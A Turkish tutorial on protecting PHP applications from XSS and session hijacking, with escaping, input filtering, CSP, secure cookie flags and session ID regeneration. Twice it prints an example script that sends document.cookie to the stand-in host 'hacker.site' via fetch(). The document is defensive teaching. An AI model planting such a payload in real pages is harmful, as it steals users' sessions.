PHP'de XSS ve Session Hijacking Saldırılarına Karşı Korunma
Web güvenliği, özellikle PHP tabanlı uygulamalarda, sıkça karşılaşılan XSS (Cross-Site Scripting) ve Session Hijacking (Oturum Çalma) saldırılarına karşı önlemler almayı gerektirir. Bu yazıda, saldırıların nasıl gerçekleştiğini ve nasıl önlenebileceğini detaylı bir şekilde inceleyeceğiz.
🚨 XSS (Cross-Site Scripting) Nedir?
XSS saldırısı, saldırganın kötü amaçlı JavaScript kodlarını bir web sitesine enjekte etmesine olanak tanır. Kullanıcının tarayıcısı bu zararlı kodu çalıştırdığında, saldırgan aşağıdaki verileri ele geçirebilir:
- Kullanıcının çerezleri (özellikle oturum çerezleri
session cookie) - Tarayıcıda saklanan veriler
- Form giriş bilgileri
Örnek XSS Saldırısı:
<script>fetch('https://hacker.site/steal?cookie=' + document.cookie);</script>
Bu kod çalıştırıldığında, kullanıcının oturum çerezi saldırgana gönderilir.
✅ XSS Saldırısını Önleme Yöntemleri
1️⃣ Kullanıcıdan Gelen Verileri Kaçış Karakterine Çevirme
Kullanıcıdan gelen verileri doğrudan HTML içerisine yazmadan önce, özel karakterleri etkisiz hale getirmek için htmlspecialchars() fonksiyonunu kullanmalısınız:
$fatura = htmlspecialchars($_POST['fatura'], ENT_QUOTES, 'UTF-8');
Bu sayede <script> gibi HTML etiketleri etkisiz hale gelir ve JavaScript kodu çalıştırılamaz.
2️⃣ Post Verilerini Filtreleme
Kullanıcıdan gelen verileri temizlemek için filter_input() kullanabilirsiniz:
$firstName = filter_input(INPUT_POST, 'firstName', FILTER_SANITIZE_STRING);
$email = filter_input(INPUT_POST, 'email', FILTER_SANITIZE_EMAIL);
$phone = filter_input(INPUT_POST, 'phone', FILTER_SANITIZE_NUMBER_INT);
Bu şekilde, yalnızca belirlenen formatta veriler kabul edilir.
3️⃣ Content Security Policy (CSP) Kullanımı
Tarayıcının, sadece güvenilir kaynaklardan JavaScript çalıştırmasını sağlamak için aşağıdaki CSP başlığını kullanabilirsiniz:
Content-Security-Policy: default-src 'self'; script-src 'self';
Bu sayede harici JavaScript dosyalarının yüklenmesi engellenir.
🚨 Session Hijacking (Oturum Çalma) Nedir?
Session Hijacking, saldırganın bir kullanıcının oturum çerezini (session cookie) çalarak onun yerine sisteme giriş yapmasını sağlar. Eğer oturum çerezi document.cookie ile ele geçirilirse, saldırgan şu adımları izleyerek hesabı ele geçirebilir:
- Kullanıcı giriş yapar ve oturum çerezi tarayıcıda saklanır.
- Saldırgan, XSS kullanarak çerezi çalar.
- Çerezi kendi tarayıcısına ekleyerek sisteme kullanıcının yerine giriş yapar.
Örnek Tehlikeli Senaryo:
fetch("https://hacker.site/steal?cookie=" + document.cookie);
Bu kod çalıştırıldığında, kullanıcı oturum bilgileri saldırgana gider.
✅ Session Hijacking’i Önleme Yöntemleri
1️⃣ HttpOnly ve Secure Bayraklarını Kullan
Bu ayarlar, oturum çerezlerinin JavaScript tarafından erişilmesini engeller ve yalnızca HTTPS bağlantılarında kullanılmasını sağlar:
session_set_cookie_params([
'httponly' => true, // JavaScript ile erişimi engeller
'secure' => true, // Yalnızca HTTPS üzerinden çalışır
'samesite' => 'Strict' // Çerezlerin başka sitelerde kullanılmasını engeller
]);
session_start();
Bu sayede document.cookie ile oturum çerezlerinin çalınması mümkün olmaz.
2️⃣ session_regenerate_id(true); Kullanımı
Her başarılı girişten sonra session ID’nin değiştirilmesi gereklidir. Bu sayede eski oturum ID’si geçersiz hale gelir:
session_start();
session_regenerate_id(true);
$_SESSION['user_id'] = $kullanici_id;
Bu, Session Fixation saldırılarını da önler.
3️⃣ IP ve User-Agent Kontrolü
Oturumun başka bir cihaz veya IP üzerinden çalınmasını önlemek için her istek geldiğinde kontrol edebilirsiniz:
if ($_SESSION['user_ip'] !== $_SERVER['REMOTE_ADDR'] ||
$_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {
session_destroy();
header("Location: login.php");
exit();
}
Bu kod, oturumun sadece aynı cihaz ve IP üzerinden çalışmasını sağlar.
🚀 Sonuç
✅ XSS saldırılarını önlemek için:
✔ Kullanıcı verilerini htmlspecialchars() ile temizleyin.
✔ Content-Security-Policy (CSP) kullanarak harici JavaScript yüklemelerini engelleyin.
✔ Form verilerini filter_input() ile filtreleyin.
✅ Session Hijacking’i önlemek için:
✔ session_regenerate_id(true); ile oturum kimliğini yenileyin.
✔ HttpOnly, Secure ve SameSite=Strict çerez ayarlarını aktif edin.
✔ Kullanıcının IP ve User-Agent bilgilerini kontrol edin.
Bu önlemleri uygularsanız, saldırganlar XSS veya Session Hijacking ile sisteminize zarar veremez! 💪
⚠️ Güvenlik kodlarını canlı sisteme eklemeden önce test ortamında deneyin. Farklı PHP sürümlerinde cookie parametreleri değişiklik gösterebilir. Bu içerik yalnızca eğitim amaçlıdır. Anlatılan yöntemlerin kötüye kullanımı yasadışıdır ve kullanıcı kendi sorumluluğundadır.
💡 Feragatname: Bu yazı yalnızca bilgilendirme ve eğitim amaçlıdır. Buradaki komutların veya kod örneklerinin uygulanması sonucu oluşabilecek veri kaybı, sistem hatası veya güvenlik ihlallerinden yazar sorumlu değildir. Değişiklik yapmadan önce mutlaka yedek alın ve test ortamında doğrulama yapın.
📜 Tüm içerikler bilgilendirme amaçlıdır; uygulama sorumluluğu kullanıcıya aittir.